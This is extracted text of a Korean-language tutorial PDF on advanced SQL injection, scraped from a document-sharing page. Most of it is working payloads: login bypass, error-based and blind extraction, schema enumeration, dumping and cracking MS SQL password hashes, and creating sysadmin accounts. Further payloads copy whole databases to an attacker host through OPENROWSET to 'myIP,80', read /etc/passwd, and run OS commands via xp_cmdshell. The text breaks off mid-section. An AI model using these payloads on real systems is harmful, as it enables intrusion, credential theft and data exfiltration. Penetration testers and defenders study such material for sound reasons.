• No results found

Advanced SQL Injection [thomas].pdf

N/A
N/A
Protected

Academic year: 2020

Share "Advanced SQL Injection [thomas].pdf"

Copied!
20
0
0

Loading.... (view fulltext now)

Full text

(1)

Advanced SQL Injection

(2)

1 κ°œμš”...0

1.1 SQL Query...0

1.2 DML & DLL...0

1.3 Metabata...0

1.4 μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜...0

1.5 일반적인 μ·¨μ•½ν•œ 둜그인 쿼리...0

2 SQL Injection ν…ŒμŠ€νŠΈ 방법둠...0

1) μž…λ ₯ κ°’ 검증...0

2) 정보 μˆ˜μ§‘...0

3) 1=1 Attacks...0

5) OS Interaction...0

6) OS λͺ…λ Ή ν”„λ‘¬ν”„νŠΈ...0

7) ν™•μž₯된 효과...0

3 νšŒν”Ό 기술...0

3.1 κ°œμš”...0

3.2 IDS β€œsignature” 우회...0

3.3 μž…λ ₯ κ°’ 검증 우회 ν•˜κΈ°...0

3.4 νšŒν”Όμ™€ 우회...0

4 SQL Injection λŒ€μ‘ λ°©μ•ˆ...0

4.1 κ°œμš”...0

4.2 탐지 및 μ œν•œμ‹œν‚€κΈ°...0

4.3 κ²°λ‘ ...0

(3)

1 κ°œμš”

SQL은 Structured Query Language의 ν‘œμ€€μ΄λ©°, μ‚¬μš©μžμ—κ²Œ 데이터 베이슀λ₯Ό μ ‘κ·Ό ν•  수 있게 ν•΄μ€€λ‹€.

ν˜„μž¬ λŒ€λΆ€λΆ„ SQL99κ°€ SQL Language의 ν‘œμ€€μ΄λ‹€. SQL은 DB에 λŒ€ν•œ Queryλ₯Ό μ‹€ν–‰ μ‹œν‚¬ 수 있고, DB

λ‘œλΆ€ν„° μˆ˜μ •/검색/μ‚½μž…/μ‚­μ œ/μ—…λ°μ΄νŠΈ ν•  수 μžˆλ‹€.

1.1 SQL Query

SQL Languageμ—λŠ” λ§Žμ€ λ‹€λ₯Έ 버전이 μžˆμ§€λ§Œ, 거의 λΉ„μŠ·ν•œ ν‚€μ›Œλ“œμ˜ λͺ…λ Ήμ–΄λ₯Ό μ§€μ›ν•œλ‹€.(예:

SELECT,UPDATE,DELETE,INSERT,WHERE λ“±) λŒ€λΆ€λΆ„μ˜ SQL λ°μ΄ν„°λ² μ΄μŠ€ ν”„λ‘œκ·Έλž¨μ€ SQL ν‘œμ€€ 외에

κ·Έλ“€ μžμ‹ λ§Œμ˜ ν™•μž₯된 μ–Έμ–΄λ₯Ό κ°€μ§€κ³  μžˆλ‹€. κ΄€κ³„ν˜• λ°μ΄ν„°λ² μ΄μŠ€λŠ” ν•˜λ‚˜ λ˜λŠ” κ·Έ μ΄μƒμ˜ ν…Œμ΄λΈ”μ„ 포함

ν•˜κ³ , 각각의 이름을 κ°€μ§„λ‹€. ν…Œμ΄λΈ”μ€ λ ˆμ½”λ“œλ‹¨μœ„λ‘œ 데이터λ₯Ό κ°€μ§„λ‹€.

예) μ•„λž˜μ˜ ν…Œμ΄λΈ” λͺ…은 β€œuser”이고 ν–‰κ³Ό μ—΄λ‘œμ„œ 데이터가 μ €μž₯λœλ‹€.

userID Name LastName Login Password

1 John Smith jsmith hello

2 Adam Taylor adamt qwerty

3 Daniel Thompson dthompson dthompson

β–ͺ 데이터 베이슀둜 SQL Queryλ₯Ό λ³΄λ‚΄μ„œ, κ²°κ³Ό 값을 되돌렀 받을 수 μžˆλ‹€. μœ„μ˜ ν…Œμ΄λΈ”μ„ μ΄μš©ν•΄μ„œ λ‹€μŒ

κ³Ό 같은 Queryλ₯Ό μ‚¬μš© ν•  수 μžˆλ‹€.

a) SELECT LastName FROM users WHERE UserID = 1;

b) κ²°κ³Ό κ°’(λ ˆμ½”λ“œ μ…‹)

LastName

Smith

1.2 DML & DLL

β–ͺ Data Manipulation Language(데이터 μ‘°μž‘μ–΄) : SELECT ,UPDATE ,INSERT INTO DELETE와 같이 데

이터λ₯Ό μ‘°μž‘ν•˜λŠ” μ–Έμ–΄λ₯Ό 뜻 ν•œλ‹€.

β–ͺ Data Definition Language(데이터 μ •μ˜μ–΄) : 데이터 μ •μ˜μ–΄λ‘œμ„œ λ°μ΄ν„°λ² μ΄μŠ€ ν…Œμ΄λΈ”μ„ 생성/μ‚­μ œ ν•˜

κ³ , 인덱슀(ν‚€)λ₯Ό μ •μ˜, ν…Œμ΄λΈ” μ‚¬μ΄μ˜ 관계λ₯Ό μ„€μ • ν•˜λ©°, λ°μ΄ν„°λ² μ΄μŠ€ ν…Œμ΄λΈ” μ‚¬μ΄μ˜ μ œμ•½ 쑰건을

μ„€μ •ν•œλ‹€.

예) CREATE TABLE, ALTER TABLE, DROP TABLEλ“±κ³Ό 같은 ꡬ문

1.3 Metadata

λŒ€λΆ€λΆ„μ˜ SQL λ°μ΄ν„°λ² μ΄μŠ€λ“€μ€ κ΄€κ³„ν˜• λ°μ΄ν„°λ² μ΄μŠ€ κΈ°λ°˜μ΄λ‹€. SQL Injection을 μœ„ν•œ μ€‘μš”ν•œ 사싀은

κ΄€κ³„ν˜• 데이터 λ² μ΄μŠ€λŠ” Codd의 12법칙 μ€‘μ—μ„œ 4법칙을 ν™•μ‹€νžˆ λ”°λ₯΄κ³  μžˆλ‹€λŠ” 것이닀. 제4법칙 : 메타

데이터(λ°μ΄ν„°λ² μ΄μŠ€μ— κ΄€ν•œ 데이터)λŠ” λ°˜λ“œμ‹œ 일반적인 λ°μ΄ν„°λ“€μ²˜λŸΌ λ°μ΄ν„°λ² μ΄μŠ€μ— μ €μž₯ λ˜μ–΄μ•Ό ν•œ

(4)

1.4 μ›Ή μ–΄ν”Œλ¦¬μΌ€μ΄μ…˜

λ°μ΄ν„°λ² μ΄μŠ€ 엔진에 μ‚½μž…ν•˜λŠ” SQL λͺ…령듀은 μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ 톡해 이용 κ°€λŠ₯ν•˜λ‹€. 이것은 μ˜€λŠ˜λ‚ μ˜

λŒ€λΆ€λΆ„μ˜ 곡톡적인 μ›Ήμ‚¬μ΄νŠΈμ˜ 취약점 쀑에 ν•˜λ‚˜μ΄λ‹€. 이것은 Web Application의 λ°œμ „μ— λ”°λ₯Έ 것이고,

DBλ‚˜ Web Server의 λ¬Έμ œκ°€ μ•„λ‹ˆλ‹€. λŒ€λΆ€λΆ„μ˜ ν”„λ‘œκ·Έλž˜λ¨Έλ“€μ€ μ—¬μ „νžˆ 이 문제λ₯Ό μΈμ‹ν•˜μ§€ λͺ»ν•œλ‹€. λ§Žμ€

μ§€μΉ¨μ„œμ™€ 데λͺ¨ ν…œν”Œλ¦Ώμ΄ μ·¨μ•½ ν•˜λ‹€. 심지어 인터넷에 κ²Œμ‹œλœ λ§Žμ€ μ†”λ£¨μ…˜λ“€λ„ μ’‹μ§€ λͺ»ν•˜λ‹€. λͺ¨μ˜ 해킹을

μ˜λ’°ν•œ 60%κ°€ λ„˜λŠ” 고객의 μ‹œμŠ€ν…œμ΄ SQL Injection에 μ·¨μ•½ν•˜λ‹€λŠ” κ²°κ³Όλ₯Ό λ‚΄λ†“λŠ”λ‹€. λŒ€λΆ€λΆ„μ˜ SQL 데이

ν„°λ² μ΄μŠ€λ“€ 그리고 ν”„λ‘œκ·Έλž˜λ° 언어듀은 잠재적으둜 μ·¨μ•½ν•˜λ‹€. DBMSλŠ” MS SQL Server, Oracle, MySQL,

Postgres, DB2, MS Access, Sybase, Informix 등이 이닀.

μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ„ ν†΅ν•œ λ°μ΄ν„°λ² μ΄μŠ€ μ ‘κ·Ό 방법

β–ͺ Perl and CGI scripts

β–ͺ ASP, JSP, PHP

β–ͺ XML, XSL and XSQL

β–ͺ Javascript

β–ͺ VB, MFC, and other ODBC-based tools and APIs

β–ͺ DB specific Web-based applications and API’s

β–ͺ Reports and DB Applications

β–ͺ 3 and 4GL-based languages (C, OCI, Pro*C, and COBOL)

1.5 일반적인 μ·¨μ•½ν•œ 둜그인 쿼리

SELECT * FROM users WHERE login = 'victor' AND password = '123'

1) ASP/MS SQL Server 둜그인 문법

var sql = "SELECT * FROM users WHERE login = '" + formusr + "' AND password = '" + formpwd + "'";

a)문자λ₯Ό ν†΅ν•œ Injection

formusr = ' or 1=1 – –

formpwd = anything

b) μ΅œμ’… 쿼리 κ²°κ³Ό

SELECT * FROM users WHERE username = ' ' or 1=1 – –AND password = 'anything'

2) PHP/MySQL 둜그인 문법

(5)

a) 숫자 μž…λ ₯ ν•„λ“œμ— μ‚½μž…

$formacct = 1 or 1=1 #

$formpin = 1111

b) μ΅œμ’… 쿼리 κ²°κ³Ό

SELECT * FROM clients WHERE account = 1 or 1=1 # AND pin = 1111

2 SQL Injection ν…ŒμŠ€νŠΈ 방법둠

1) μž…λ ₯ κ°’ 검증

2) 정보 μˆ˜μ§‘

6) OS λͺ…λ Ή ν”„λ‘¬ν”„νŠΈ

7) ν™•μž₯된 효과

4) 데이터 μΆ”μΆœ

3) 1=1 곡격 5) OS Interaction

1) μž…λ ₯ κ°’ 검증

취약점은 μ–΄λ””λ“ μ§€ 생길 수 있고, μ•„λž˜μ˜ 사항을 λͺ¨λ‘ 체크 ν•΄μ•Ό ν•œλ‹€.

a) μ›Ή 폼의 ν•„λ“œ

b) URL 쿼리 슀트링의 슀크립트 νŒŒλΌλ―Έν„° κ°’

c) μΏ ν‚€ λ˜λŠ” νžˆλ“  ν•„λ“œμ— μ €μž₯된 κ°’

d) μ•„λž˜μ˜ λ¬Έμžμ—΄μ„ λͺ¨λ“  μž…λ ₯ ν•„λ“œμ— ν…ŒμŠ€νŠΈν•΄μ•Ό ν•œλ‹€.

β–ͺ 문자 : ' " ) # || + >

β–ͺ SQL Query λͺ…령을 곡백(κ΅¬λΆ„μž)κ³Ό 같이:

%09select (tab%09, carriage return%13, linefeed%10 and space%32 with and, or, update, insert, exec)

(6)

'0:0:10'--2) 정보 μˆ˜μ§‘

μ•„λž˜μ˜ ν•­λͺ©λ“€μ„ μ•Œμ•„λ‚΄λ €κ³  μ‹œλ„ν•΄μ•Ό ν•œλ‹€.

a) 좜λ ₯ λ©”μ»€λ‹ˆμ¦˜ μ—°κ΅¬ν•˜κΈ°

1. μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ˜ 쿼리 κ²°κ³Ό 값을 μ΄μš©ν•œλ‹€.

2. μ—λŸ¬ λ©”μ‹œμ§€ : μ—λŸ¬ λ©”μ‹œμ§€λ‘œλΆ€ν„° μž…λ ₯ κ°’ 검증을 μœ μΆ” ν•  수 μžˆλ‹€.

3. Blind SQL Injection : μ‹œκ°„μ˜ μ§€μ—° λ˜λŠ” μ—λŸ¬ λ©”μ‹œμ§€λ₯Ό μ‚¬μš©ν•˜μ—¬ 정보λ₯Ό μΆ”μΆœν•œλ‹€. Blind SQL

Injection은 SQL Injectionκ³Ό 거의 λΉ„μŠ·ν•˜μ§€λ§Œ, λ§Žμ€ Queryλ₯Ό ν†΅ν•΄μ„œ 정보가 μˆ˜μ§‘ν•΄μ•Ό 되고, λ˜ν•œ ν•„

λ“œ κ°’μ΄λ‚˜ ν…Œμ΄λΈ”λͺ…κ³Ό 같은 정보λ₯Ό μΆ”μΈ‘ν•΄μ•Ό ν•˜λ―€λ‘œ, 맀우 느리고 λ”μš± μ–΄λ ΅λ‹€.

β–  μ—λŸ¬ λ©”μ‹œμ§€λ₯Ό ν†΅ν•΄μ„œ 정보 μΆ”μΆœ ν•˜κΈ°

i. κ·Έλ£Ή ν•‘ μ—λŸ¬

' group by columnnames having 1=1 - -

ii. νƒ€μž…μ˜ 뢈일치

' union select 1,1,'text',1,1,1 - -

' union select 1,1, bigint,1,1,1 - -

iii. 더 쒋은 λ°©λ²•μœΌλ‘œ, DBμ—μ„œ ν•˜μœ„ Queryλ₯Ό 이용 ν•œλ‹€.

' and 1 in (select 'text' ) - -

iv. 데이터λ₯Ό CASTλ˜λŠ” CONVERTμ—°μ‚°μžλ₯Ό μ΄μš©ν•œ μ—λŸ¬λ©”μ‹œμ§€ λ„μΆœλ„ ν•„μš”ν•˜λ‹€.

β–  Blind Injection

i. 좜λ ₯ μ‹œ λ‚˜μ˜€λŠ” λ‹€λ₯Έ 좜λ ₯ 값을 이용

' and condition and '1'='1

ii. IF문을 μ‚¬μš©

'; if condition waitfor delay '0:0:5' --

'; union select if( condition , benchmark (100000, sha1('test')), 'false' ),1,1,1,1;

iii. μΆ”κ°€μ μœΌλ‘œ μš°λ¦¬λŠ” λͺ¨λ“  νƒ€μž…μ˜ Queryλ₯Ό μ‹€ν–‰ ν•  수 μžˆμ§€λ§Œ, 좜λ ₯된 정보에 λŒ€ν•΄ 디버깅할 μˆ˜λŠ” μ—†

λ‹€. μš°λ¦¬λŠ” 단지 yes/no 응닡을 얻을 수 μžˆλ‹€. λ˜ν•œ, νŠΉμ • ν•„λ“œμ˜ 데이터에 λŒ€ν•œ ASCII값을 μΆ”μΆœ ν•  수

(7)

b) 쿼리의 이해

i. SELECT λͺ…λ Ήλ¬Έ - λŒ€λΆ€λΆ„μ˜ Injection은 SELECT λͺ…령을 μ΄μš©ν•œλ‹€.

SELECT * FROM table WHERE x = 'normalinput' group by x having 1=1 --GROUP BY x HAVING x = y ORDER BY x

ii. UPDATE λͺ…λ Ήλ¬Έ – μ•„λž˜μ™€ 같이 μ›Ή μ• ν”Œλ¦¬μΌ€μ΄μ…˜μ—μ„œ λ‹Ήμ‹ μ˜ νŒ¨μŠ€μ›Œλ“œ 뢀뢄을 μˆ˜μ • ν•  수 μžˆλ‹€.

UPDATE users SET password = 'new password' WHERE login = logged.user

AND password = 'old password'

c) λ°μ΄ν„°λ² μ΄μŠ€ νƒ€μž…μ˜ κ²°μ •

λŒ€λΆ€λΆ„μ˜ 경우 μ—λŸ¬ λ©”μ‹œμ§€λŠ” μ–΄λ–€ DB엔진을 μ‚¬μš©ν•˜λŠ”μ§€ 좜λ ₯ ν•œλ‹€. ODBCμ—λŸ¬λŠ” DB νƒ€μž… (λ“œλΌμ΄

브 μ •λ³΄μ˜ λΆ€λΆ„μœΌλ‘œμ¨)을 λ‚˜νƒ€λ‚Έλ‹€. λ§Œμ•½μ— ODBC μ—λŸ¬κ°€ λ°œμƒν•˜μ§€ μ•ŠμœΌλ©΄, μ–΄λ–€ OS와 Web Severλ₯Ό

μ‚¬μš©ν•˜μ§€λ₯Ό μΆ”μΈ‘ν•΄μ•Ό ν•˜κ±°λ‚˜ νŠΉλ³„ν•œ DB문자, λͺ…λ Ήμ–΄, μ €μž₯된 ν”„λ‘œμ‹œμ €λ₯Ό ν†΅ν•œ μ—λŸ¬ λ©”μ‹œμ§€λ₯Ό μ‚¬μš©ν•΄μ•Ό

ν•œλ‹€.

β–ͺ DBMS별 차이점 (1)

TEXTPOS() InStr() InStr() InStr() LOCATE() CHARINDEX Position Yes Yes No No No Yes Cast import from export to

Ifnull() " "+" "

DB2 Call COALESCE() ' '||' ' Postgres PL/pgSQL #date#

Iff(Isnull()) " "&" "

Access utf_file select into outfile / dumpfile xp_cmdshell Op Sys interaction

Ifnull() Ifnull()

Isnull() Null

replace

' '||' '

concat

(" ", " ")

' '+' ' Concatenate Strings Oracle PL/SQL MySQL MS SQL T-SQL TEXTPOS() InStr() InStr() InStr() LOCATE() CHARINDEX Position Yes Yes No No No Yes Cast import from export to

Ifnull() " "+" "

DB2 Call COALESCE() ' '||' ' Postgres PL/pgSQL #date#

Iff(Isnull()) " "&" "

Access utf_file select into outfile / dumpfile xp_cmdshell Op Sys interaction

Ifnull() Ifnull()

Isnull() Null

replace

' '||' '

concat

(" ", " ")

' '+' ' Concatenate Strings Oracle PL/SQL MySQL MS SQL T-SQL

β–ͺ DBMS별 차이점 (2)

(8)

d) μ‚¬μš©μžμ˜ κΆŒν•œ λ ˆλ²¨μ„ μ•Œμ•„ λ‚Έλ‹€.

i. μ‚¬μš©μžμ˜ κΆŒν•œ λ ˆλ²¨μ„ μ•Œμ•„ λ‚΄κΈ° μœ„ν•΄μ„œλŠ” λŒ€λΆ€λΆ„μ˜ SQLμ—μ„œ κ΅¬ν˜„λ˜λŠ” SQL99 λ‚΄μž₯된 μ•„λž˜μ™€ 같은

κΈ°λŠ₯을 κ°€μ§€κ³  μžˆλ‹€.

user or current_user

session_user

system_user

' and 1 in (select user ) --

'; if user ='dbo' waitfor delay '0:0:5 '--

' union select if( user() like 'root@%', benchmark(50000,sha1('test')), 'false' );

ii. κΈ°λ³Έ κ΄€λ¦¬μž 계정

sa, system, sys, dba, admin, root λ“±

iii. MS SQL μ—μ„œ dboλŠ” λ§€ν•‘ λ˜μ–΄ μžˆλ‹€. μ‚¬μš©μž dboλŠ” DBμ—μ„œ λͺ¨λ“  ν™œλ™μ„ μˆ˜ν–‰ν•  수 μžˆλŠ” κΆŒν•œμ„ κ°€

μ§€κ³  μžˆλ‹€. μ„œλ²„μ˜ κ³ μ •λœ κ·œμ •μ— μ˜ν•˜λ©΄ Sysadmin의 DBλ₯Ό μ‚¬μš©ν•˜λŠ” μ–΄λ–€ μœ μ €λŠ” 각 DBμ—μ„œ dbo라고

λΆˆλ¦¬λŠ” νŠΉλ³„ν•œ μ‚¬μš©μžμ—κ²Œ λ§€ν•‘ λ˜μ–΄ μžˆλ‹€. λ˜ν•œ sysadmin의 μ–΄λ–€ μ‚¬μš©μžμ— μ˜ν•΄ λ§Œλ“€μ–΄μ§„ κ°μ²΄λŠ” 자

λ™μ μœΌλ‘œ dboλ₯Ό κ°€μ§„λ‹€.

e) OS interaction λ ˆλ²¨μ„ κ²°μ •

3) 1=1 Attacks

데이터 베이슀, 쿼리ꡬ쑰, κΆŒν•œμ— κ΄€ν•œ 정보λ₯Ό μ•Œκ²Œ 되면, 곡격이 κ°€λŠ₯ν•΄ μ§„λ‹€.

a) ν…Œμ΄λΈ”μ— μ •μ˜λœ μ‚¬μš©μžλ₯Ό μ—΄κ±°ν•˜λŠ” Query

' and 1 in (select min(name) from sysobjects where xtype = 'U' and name > '.') --

b) DBμ—μ„œ ν…Œμ΄λΈ” 컬럼λͺ…을 μ—΄κ±°ν•˜λŠ” 쿼리

β–ͺ MS SQL

SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name =

'tablename ')

sp_columns tablename (this stored procedure can be used instead)

β–ͺ MySQL

(9)

β–ͺ Oracle

SELECT * FROM all_tab_columns WHERE table_name='tablename '

β–ͺ DB2

SELECT * FROM syscat.columns WHERE tabname= 'tablename '

β–ͺ Postgres

SELECT attnum,attname from pg_class, pg_attribute WHERE relname= 'tablename '

AND pg_class.oid=attrelid AND attnum > 0

c) λͺ¨λ“  ν…Œμ΄λΈ”κ³Ό 컬럼λͺ…을 ν•˜λ‚˜μ˜ Query둜 질의 ν•˜κΈ°

' union select 0, sysobjects.name + ': ' + syscolumns.name + ': ' + systypes.name, 1, 1, '1', 1, 1,

1, 1, 1 from sysobjects, syscolumns, systypes where sysobjects.xtype = 'U' AND sysobjects.id =

syscolumns.id AND syscolumns.xtype = systypes.xtype --

d) μ„œλ²„μ—μ„œ λ‹€λ₯Έ λ°μ΄ν„°λ² μ΄μŠ€ 질의 ν•˜κΈ°

' and 1 in (select min(name ) from master.dbo.sysdatabases where name >'.' ) --

e) 데이터 베이슀의 파일 μœ„μΉ˜ 질의 ν•˜κΈ°

' and 1 in (select min(filename ) from master.dbo.sysdatabases where filename >'.' ) --

d) 각 DBMS별 μ‹œμŠ€ν…œ ν…Œμ΄λΈ”

MySQL MS SQL Server Oracle MS Access

mysql.user

mysql.host

mysql.db

sysobjects

syscolumns

systypes

sysdatabases

SYS.USER_OBJECTS

SYS.TAB

SYS.USER_TEBLES

SYS.USER_VIEWS

SYS.ALL_TABLES

SYS.USER_TAB_COLUMNS

SYS.USER_CATALOG

MsysACEs

MsysObjects

MsysQueries

MsysRelationships

e) μ‚¬μš©μžκ°€ μ •μ˜λœ ν…Œμ΄λΈ”μ—μ„œ μ‚¬μš©μžμ΄λ¦„κ³Ό νŒ¨μŠ€μ›Œλ“œ μΆ”μΆœν•˜κΈ°

'; begin declare @var varchar(8000) set @var=':' select @var=@var+' '+login+'/'+password+' '

from users where login>@var select @var as var into temp end --

' or 1 in (select var from temp) --

(10)

f) λ°μ΄ν„°λ² μ΄μŠ€μ— 계정 μƒμ„±ν•˜κΈ°

β–ͺ MS SQL

exec sp_addlogin ' victor ', 'Pass123'

exec sp_addsrvrolemember 'victor', 'sysadmin'

β–ͺ MySQL

INSERT INTO mysql.user (user, host, password) VALUES ('victor', 'localhost', PASSWORD('

Pass123'))

β–ͺ Access

CREATE USER victor IDENTIFIED BY ' Pass123'

β–ͺ Postgres (requires UNIX account)

CREATE USER victor WITH PASSWORD ' Pass123'

β–ͺ Oracle

CREATE USER victor IDENTIFIED BY Pass123

TEMPORARY TABLESPACE temp

DEFAULT TABLESPACE users;

GRANT CONNECT TO victor;

GRANT RESOURCE TO victor;

g) MS SQL Server 해쉬값 μΆ”μΆœν•˜κΈ°

i. κ°„λ‹¨ν•œ 방법

SELECT name, password FROM master..sysxlogins

ii. νŒ¨μŠ€μ›Œλ“œ 해쉬값 μΆ”μΆœν•˜κΈ°

ii. 해쉬값이 2μ§„μˆ˜(binary)μ΄λ―€λ‘œ 16μ§„μˆ˜(hex)둜 λ³€ν™˜ν•œλ‹€.

begin @charvalue='0x', @i=1, @length=datalength(@binvalue),

@hexstring = '0123456789ABCDEF'

while (@i<=@length) BEGIN

declare @tempint int, @firstint int, @secondint int

select @tempint=CONVERT(int,SUBSTRING(@binvalue,@i,1))

select @firstint=FLOOR(@tempint/16)

select @secondint=@tempint - (@firstint*16)

select @charvalue=@charvalue + SUBSTRING (@hexstring,@firstint+1,1) +

(11)

select @i=@i+1 END

iii. ν•œλ²ˆμ— μ‹€ν–‰ν•˜λŠ” λͺ…λ Ήμ–΄

'; begin declare @var varchar(8000), @xdate1 datetime, @binvalue varbinary(255), @charvalue

varchar(255), @i int, @length int, @hexstring char(16) set @var=':' select @xdate1=(select

min(xdate1) from master.dbo.sysxlogins where password is not null) begin while @xdate1 <=

(select max(xdate1) from master.dbo.sysxlogins where password is not null) begin select

@binvalue=(select password from master.dbo.sysxlogins where xdate1=@xdate1), @charvalue =

'0x', @i=1, @length=datalength(@binvalue), @hexstring = '0123456789ABCDEF' while

(@i<=@length) begin declare @tempint int, @firstint int, @secondint int select

@tempint=CONVERT(int, SUBSTRING(@binvalue,@i,1)) select @firstint=FLOOR(@tempint/16)

select @secondint=@tempint - (@firstint*16) select @charvalue=@charvalue + SUBSTRING

(@hexstring,@firstint+1,1) + SUBSTRING (@hexstring, @secondint+1, 1) select @i=@i+1 end

select @var=@var+' | '+name+'/'+@charvalue from master.dbo.sysxlogins where

xdate1=@xdate1 select @xdate1 = (select isnull(min(xdate1),getdate()) from master..sysxlogins

where xdate1>@xdate1 and password is not null) end select @var as x into temp end end –

vi. μ—λŸ¬ λ©”μ‹œμ§€λ₯Ό ν†΅ν•΄μ„œ 해쉬 κ°’ μΆ”μΆœν•˜κΈ°

β–ͺ ' and 1 in (select x from temp) --

β–ͺ ' and 1 in (select substring (x, 256, 256) from temp) --

β–ͺ ' and 1 in (select substring (x, 512, 256) from temp) --

β–ͺ ' drop table temp --

v. νŒ¨μŠ€μ›Œλ“œ λ¬΄μž‘μœ„ λŒ€μž…

β–ͺ SQL νŒ¨μŠ€μ›Œλ“œ ν¬λž™ 슀크립트

create table tempdb..passwords( pwd varchar(255) )

bulk insert tempdb..passwords from 'c:β‚©tempβ‚©passwords.txt'

select name, pwd from tempdb..passwords inner join sysxlogins on (pwdcompare( pwd,

sysxlogins.password, 0 ) = 1) union select name, name from sysxlogins where

(pwdcompare( name, sysxlogins.password, 0 ) = 1) union select sysxlogins.name, null from

sysxlogins join syslogins on sysxlogins.sid=syslogins.sid where sysxlogins.password is null

and syslogins.isntgroup=0 and syslogins.isntuser=0

(12)

vi. DBꡬ쑰와 데이터 μ „μ†‘ν•˜κΈ°

λ§Œμ•½μ— λ„€νŠΈμ›Œν¬ 연결이 λ˜μ–΄ 있으면 80번 포트λ₯Ό ν†΅ν•΄μ„œ λ¦¬λ²„μŠ€ 연결이 성립 ν•  수 있고, λͺ¨λ“  DBκ°€

우리의 둜컬 SQL μ„œλ²„μ— 전솑 ν•  수 μžˆλ‹€. 데이터 베이슀의 메타데이터 μ „μ†‘μœΌλ‘œ 둜컬 SQL μ„œλ²„μ— 동

μΌν•œ DBꡬ쑰λ₯Ό 생성 ν•  수 μžˆλ‹€.

Step 1. 둜컬 SQLμ„œλ²„μ— Victimκ³Ό λ™μΌν•œ DBꡬ쑰 생성

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysdatabases')

select * from master.dbo.sysdatabases --

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_sysdatabases')

select * from user_database.dbo.sysobjects --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..hacked_syscolumns')

select * from user_database.dbo.syscolumns --

step 2. 데이터λ₯Ό DB ν…Œμ΄λΈ”μ„ μ•„λž˜μ˜ 방법을 ν†΅ν•˜μ—¬ μ‰½κ²Œ 전솑 ν•  수 μžˆλ‹€.

'; insert into

OPENROWSET('SQLoledb','uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table1')

select * from database..table1 --

'; insert into

OPENROWSET('SQLoledb',

'uid=sa;pwd=Pass123;Network=DBMSSOCN;Address=myIP,80;',

'select * from mydatabase..table2')

select * from database..table2 --

5) OS Interaction

OS Interactionμ—λŠ” 두 κ°€μ§€ 방법이 μžˆλŠ”λ°, λͺ…λ Ήμ–΄λ₯Ό 읽기/μ‹€ν–‰ κ°€λŠ₯성은 DBμ—”μ§„κ³Ό DB 섀정에 달렀

μžˆλ‹€. 두 κ°€μ§€ 경우λͺ¨λ‘ κΆŒν•œμ΄ DB μ—”μ§„ κ΄€λ¦¬μžμ—κ²Œ μ œν•œ λ˜μ–΄μžˆλ‹€. λ§Œμ•½ μš°λ¦¬κ°€ νŒŒμΌμ„ 읽기/μ“°κΈ° κ°€

(13)

λ₯Ό μ‹€ν–‰ ν•  수 있으면, 무엇이든지 ν•  수 μžˆλ‹€.

a) MySQL OS Interaction

i. LOAD_FILE

' union select 1,load_file('/etc/passwd'),1,1,1;

ii. LOAD DATA INFILE

create table temp( line blob );

load data infile '/etc/passwd' into table temp;

select * from temp;

iii. SELECT INTO OUTFILE

b) MS SQL OS Interaction

'; exec master..xp_cmdshell 'ipconfig > test.txt' --

'; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --

'; begin declare @data varchar(8000) ; set @data='| ' ; select @data=@data+txt+' | ' from tmp

where txt<@data ; select @data as x into temp end --

' and 1 in (select substring(x,1,256) from temp) --

'; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table

temp; drop table tmp --

β–ͺ μ›Ή μ„œλ²„μ—μ„œ DB에 μ ‘κ·Ό ν•˜λŠ” ꡬ쑰

λŒ€λΆ€λΆ„μ˜ 경우 μ›Ή μ„œλ²„μ™€ DBμ„œλ²„λŠ” κ°™μ§€ μ•Šκ³ , DBμ„œλ²„λŠ” Internet에 μ—°κ²° λ˜μ–΄ μžˆμ§€ μ•Šμ•„λ„ μ• ν”Œλ¦¬μΌ€

(14)

β–ͺ λ„€νŠΈμ›Œν¬ 연결에 μ ‘κ·Ό

i. μ„œλ²„ 이름을 μ—λŸ¬ λ©”μ‹œμ§€λ‘œ 좜λ ₯ν•˜κΈ°

' and 1 in (select @@servername ) --

' and 1 in (select srvname from master..sysservers ) --

ii. Reverse lookupsλ₯Ό ν†΅ν•΄μ„œ IP 정보 μˆ˜μ§‘ν•˜κΈ°

'; exec master..xp_cmdshell 'nslookup a.com MyIP' --

iii. Revers ping을 ν†΅ν•΄μ„œ IP 정보 μˆ˜μ§‘ν•˜κΈ°

'; exec master..xp_cmdshell 'ping MyIP' --

iv. OPENROWSET

'; select * from OPENROWSET( 'SQLoledb', 'uid=sa; pwd=Pass123;

Network=DBMSSOCN; Address=MyIP,80;',

'select * from table')

β–ͺ λ„€νŠΈμ›Œν¬ μ˜ˆλΉ„ 점검

i. ν™•μž₯ ν”„λ‘œμ‹œμ € xp_cmdshellλ₯Ό μ΄μš©ν•˜μ—¬ μ•„λž˜μ˜ λͺ…령을 μ‹€ν–‰

β–ͺ Ipconfig /all

β–ͺ Tracert myIP

β–ͺ arp -a

β–ͺ nbtstat -c

β–ͺ netstat -ano

β–ͺ route print

ii. λ„€νŠΈμ›Œν¬ μ˜ˆλΉ„ 점검 전체 Query

β–ͺ '; declare @var varchar(256); set @var = ' del test.txt && arp -a >> test.txt && ipconfig /all >>

test.txt && nbtstat -c >> test.txt && netstat -ano >> test.txt && route print >> test.txt && tracert

-w 10 -h 10 google.com >> test.txt'; EXEC master..xp_cmdshell @var --

β–ͺ '; CREATE TABLE tmp (txt varchar(8000)); BULK INSERT tmp FROM 'test.txt' --

β–ͺ '; begin declare @data varchar(8000) ; set @data=': ' ; select @data=@data+txt+' | ' from tmp

where txt<@data ; select @data as x into temp end --

β–ͺ ' and 1 in (select substring(x,1,255) from temp) --

β–ͺ '; declare @var sysname; set @var = 'del test.txt'; EXEC master..xp_cmdshell @var; drop table

(15)

6) OS λͺ…λ Ή ν”„λ‘¬ν”„νŠΈ

i. OS둜 μ ν”„ν•˜κΈ°

β–ͺ Linux based MySQL

' union select 1, (load_file('/etc/passwd')),1,1,1;

